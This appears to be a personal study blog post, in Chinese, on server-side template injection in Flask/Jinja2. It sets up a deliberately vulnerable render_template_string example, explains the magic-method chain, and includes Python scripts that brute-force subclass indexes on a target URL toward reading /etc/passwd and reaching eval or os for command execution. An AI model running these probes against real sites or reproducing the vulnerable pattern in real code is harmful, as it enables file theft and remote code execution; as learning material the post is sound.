记录ssti模板学习 (1)

发布时间 2023-12-03 21:23:42作者: trymonoly

记录ssti模板学习

Python3-venv(简称虚拟机编译器)

创建venv环境安装flask

创建环境python3 -m venv flask1

在flask1下使用虚拟机内的python3执行

方法一:/opt/flask/bin/python3 demo.py

方法二:source ./bin/activate

退出环境deactivate

Flask学习

Flask就是使用python编写的轻量级Web应用框架(模板引擎使用jinja2)

简单的flask

from flask import Flask

app = Flask(__name__)

@app.route(‘/’) //简称路由寻址http url☞的页面这里是根目录

def hello():

return “hello try” //根目录下的函数

if __name__ == ‘__main__’:

app.run()

app.run中的参数host=‘ip地址(0.0.0.0监听本地和ip) debug=true(开启日志,一边改一边重启) port=端口’

变量

方法

Html文件在python中必须放在templates下

Flask模板

处理业务逻辑和返回响应内容

处理逻辑如同:计算器1+1给后端处理计算

返回响应内容:计算后会返回给界面2

模板就是响应内容的呈现

Flask默认使用jinja2

视图函数只负责处理业务逻辑,模板负责响应内容

模板函数render_template加载html文件。默认在templates目录下

模板函数render_template_string用于渲染字符串,直接定义内容

Flask使用代码

from flask import Flask,render_template

app = Flask(__name__)

@app.route('/')
def index():
my_str = 'Hello world'
my_int = 12
my_array = {1,2,3,4,5}
my_dict = {
'name': 'dazhuang',
'age': 18
}
return render_template('index.html',my_str=my_str,
my_int=my_int,
my_array=my_array,
my_dict=my_dict)

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

Templates目录下放index,html文档中用{{ }}形式去解析传进来的my_int等到页面上

<p>{{my_str}}<p>
{{my_int}}
{{my_array}}
{{my_dict}}

{% set a=‘dazhuang’%}{{a}}页面就会返回dazhuang (一般用于设置值)

Render_template_string代码使用直接渲染

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
name = request.args.get('name')
my_array = {1,2,3,4,5}
return render_template_string('<p>%s</p><br><h1>%s</h1>' % (name,my_array))

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

ssti模板注入

flask漏洞----flask代码不严谨可能造成任意文件读取和rce远程控制后台

漏洞成因:

渲染模板时,没有严格控制对用户的输入;使用了危险的模板,导致用户可以和flask交互;

Flask是基于python开发的一种轻量级服务器,意味着用户可以和flask交互的话,就可以执行python中的危险函数eval,system,file等等之类的函数。

漏洞演示:

Python代码:正常代码

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
name = request.args.get('try')
html_str = " <html><head></head><body>{{str}}</body></html>"

return render_template_string(html_str,str=name)

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

原因是str被{{}}包括起来了,会被预先渲染转义,然后在输入,不会被渲染执行。

Python代码:错误的配置:

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
name = request.args.get('try')
html_str = " <html><head></head><body>{0}</body></html>".format(name)

return render_template_string(html_str)

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

发现大概原因了吗?

因为第二个使用了格式化字符串{0}加format(name)。说白了就是先执行后渲染。我的理解就是render_template_string就直接转义并输出,而第二个先填充后转义,在填充时执行了python代码。

除了用{{7*7}}去测试还可以用一些python中的魔术方法({{‘’.__class__.__mro__}})去测试下一章就会聊这个。

各模板注入的测试流程,绿色指正常执行,红色指返回了没有执行,一步一步去判断是什么模板。

继承关系和魔术方法

继承关系指漏洞利用的逻辑

魔术方法指利用的指令

父类和子类

子类调用父类下的其他子类

Python flask没法直接使用python指令

__class__: 指向实例化的一个类

__base__: 指向实例化类的父类

__mro__:罗列所有的类

__subclasses__(): 查看那个类下的所有子类

__init__: 查看类是否重载,重载是指程序在运行时已经加载好的这个模板内存中,wrapper说明没有挂载。

__globals__:函数会以字典形式返回当前对象的全部全局变量 (相当于就是类中的全部方法)

__builtins__: 提供对python的所有“内置”标识符直接访问

Popen():执行一个shell以运行命令来开启 一个进程

懂了这里就可以看懂下面代码了

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C()
print(c.__class__)

c.__class__

c.__class__.__base__

c.__class__.__base__.__base__

c.__class__.__base__.__base__.__base__

c.__class__.__mro__ 罗列c继承的所有类

c.__class__.__mro__[1].__subclasses__()

常用的注入模板

文件读取

查找子类_frozen_importlib_external.FileLoader

【“get_data”】(0,“/etc/password”)

Python脚本去找子类

import requests
url = input("请输入链接")
for i in range(500):
data = {
"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"]"}
try:
res = requests.post(url,data=data)
if res.status_code == 200:
if '_frozen_importlib_external.FileLoader' in res.text:
print(i)
except:
pass

可以找自己想要的子类

内置函数eval执行函数

找builtins的eval

import requests
url = input("输入url")
for i in range(500):
data = {
"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']"
}
try:
res = requests.post(url,data=data)
if res.status_code == 200:
if 'eval' in res.text:
print(i)
except:
pass

payload

Os模块执行命令

在其他函数中直接调用os模块

通过config 调用

通过url_for 调用

在已经加载的模块中找os

第三方库importlib类执行命令

可以加载第三方库,使用load_module加载os

Linecache函数执行命令

Linecache原本只读一行但是内置了os模块

Subprocess.popen类执行命令(思路都是差不多)

汇总

最后就是实战加学一点绕过就可以毕业了